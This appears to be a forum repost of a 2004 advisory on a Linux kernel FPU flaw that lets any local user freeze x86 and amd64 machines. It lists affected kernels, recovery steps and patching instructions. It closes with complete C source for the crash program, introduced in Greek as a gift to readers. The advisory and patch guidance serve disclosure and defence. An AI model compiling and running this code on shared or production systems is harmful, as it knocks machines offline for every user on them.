The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests during vacation. He was quite surprised when I discovered that the code he was trying froze his machine. He reported it to the Linux-kernel mailing list and the gcc bugzilla 2004-06-09.
This bug is confirmed to be present when the code is compiled with GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.
The Crashing Kernels
Minor numbers are versions verified, this is just the top the iceberg:
Linux 2.6.x
2.6.7-rc2
2.6.6 (vanilla)
2.6.6-rc1 SMP (verified by blaise)
2.6.6 SMP (verified by riven)
2.6.6-debian (verified by arturaz)
2.6.5-gentoo (verified by RatiX)
2.6.5-mm6 - (verified by Mariux)
2.6.5 (fedora core 2 vanilla)
2.6.3-13mdk (Mandrake)
Linux 2.4.2x
2.4.26 vanilla
2.4.26, grsecurity 2.0 config
2.4.26-rc1 vanilla
2.4.26-gentoo-r1
2.4.22
2.4.22-1.2188 Fedora FC1 Kernel
2.4.20 RH7.3 (gcc 2.96)
2.4.18-bf2.4 (debian woody vanilla)
Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent
Assume your kernel is venerable unless you have good reason to believe it is safe.
The safe kernels
This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running
Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
2.2.19-kernel
It is unclear why these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not.
The user-mode Linux kernel 2.6.5-1um is safe. I assume this means other versions of user mode Linux are safe.
Linux Kernel 2.6.4 SMP with patches has been reported to be safe. Reporter uses a version patched with Con Kolivas Staircase scheduler (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". Guille
The glitch is verified present in Linux 2.5.6 SMP and Linux 2.6.6 SMP.
The bug is not present in 2.2.19, it seems this bug only affects 2.4 and later.
The threat
Using this exploit to crash Linux systems requires the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged).
This code only works on x86 and x86_86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.
Be prepared
Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.
If you enabled Magic SysRq (CONFIG_MAGIC_SYSRQ=y, found in make menuconfig at Kernel hacking -> Magic SysRq key) in your kernel you can cleanly reboot if evil freezes your system with the following keyboard combination:
Alt-SysRq-R (keyboard in raw mode)
Alt-SysRq-S (save unsaved data to disk)
Alt-SysRq-E (send termination signal)
Alt-SysRq-I (send kill signal)
Alt-SysRq-U (remount all mounted file systems)
Alt-SysRq-B (reboots the system)
How to protect yourself
The last days were frustrating, I wanted to publish a fix together with the exploit code. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil && ./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed. Temporary patch fixes were posted here, none of them were incredibly great.
Luckily, the kernel team were quick to release official patches. The right fixes are now declared by the all and mighty hero Linus Torvalds.
Patch for 2.4.2x Kernels, x86 and x86_86
(The Right) Patch for 2.4.2x, x86:
Bitkeeper i387.h patch x86
x86-64 is missing in Bitkeeper, André Tomt posted patches including x86_64 at added http://tomt.net/kernel/clear_fpu/
24_kernel_ia32-and-x86_64-fix-fpu-state.patch
Evil can not do any damage once this patch is applied, but it will keep running at 99% CPU until it is killed (like any other process).
Follow these steps to get a safe vanilla kernel:
Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
Download the latest kernel source, linux-2.4.26.tar.bz2, from your local Linux Kernel Mirror
Unpack the kernel source and make a symbolic link:
cd /usr/src/
tar xfvj linux-2.4.26.tar.bz2
ln -s linux-2.4.26 linux
Download the patch for 2.4.26: 24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Apply the patch
patch -p1 -d /usr/src/linux-2.4.26 <24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Configure and compile as usual.
make dep bzImage modules modules_install
mount /boot (some distributions mount /boot on startup)
cp arch/i386/boot/bzImage /boot
The patches should apply cleanly to all 2.4.xx versions.
Patch for 2.6.xx Kernels, x86 and x86_86
Patch for 2.6.x, x86:
Bitkeeper i387.h patch x86
Patch for 2.6.x, x86_86:
Bitkeeper i387.h patch x86_86
Both: 26_kernel_ia32-and-x86_64-fix-fpu-state.patch
Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
Get a 2.6.x kernel from kernel.org and unpack it to /usr/src
Get 26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
patch -p1 -d /usr/src/linux-2.6.7-rc2 <26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Follow the usual steps.
Fedora Core 2 users
Red Hat has now released a patched kernel for Fedora Core 2. (Fedora Update Notification FEDORA-2004-171 2004-06-14)
sudo yum -y update kernel*
will upgrade your kernel to the safe Version : 2.6.6, Release : 1.435.
Gentoo Linux users
Safe (patched) kernels for Gentoo Linux were released 2004-06-15:
gentoo-sources 2.4.26-r2
Full sources including the gentoo patchset for the 2.4 kernel tree
gaming-sources 2.4.20-r12
Full sources for the Gentoo gaming-optimized kernel
gs-sources 2.4.25_pre7-r6
This kernel stays up to date with current kernel -pres, with recent acpi,evms,win4lin,futexes,aic79xx, superfreeswan,preempt, and various hw fixes.
xfs-sources 2.4.24-r7
Full sources for the XFS Specialized Gentoo Linux kernel
vserver-sources 2.4.26.1.3.9-r1
Linux kernel with DEVEL version ctx-/vserver-patch
Και γι' αυτούς που κάνανε τον κόπο να διαβάσουν μέχρι εδώ ένα μικρό δωράκι...
Code: Select all
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
